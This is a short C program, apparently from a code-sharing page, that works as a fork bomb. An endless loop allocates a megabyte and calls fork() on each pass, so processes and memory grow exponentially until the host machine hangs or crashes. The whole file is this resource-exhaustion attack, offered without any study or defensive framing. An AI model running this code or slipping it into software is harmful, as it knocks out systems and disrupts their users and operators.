This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdlib.h> | |
#include <unistd.h> | |
int main(void) { | |
for (;;) { // Start an infinite loop | |
char* c = malloc(1000000); // Allocate one million bytes of memory | |
fork(); // Fork the current process (will exponentially increase) | |
} | |
return 0; // Will never reach this point | |
} |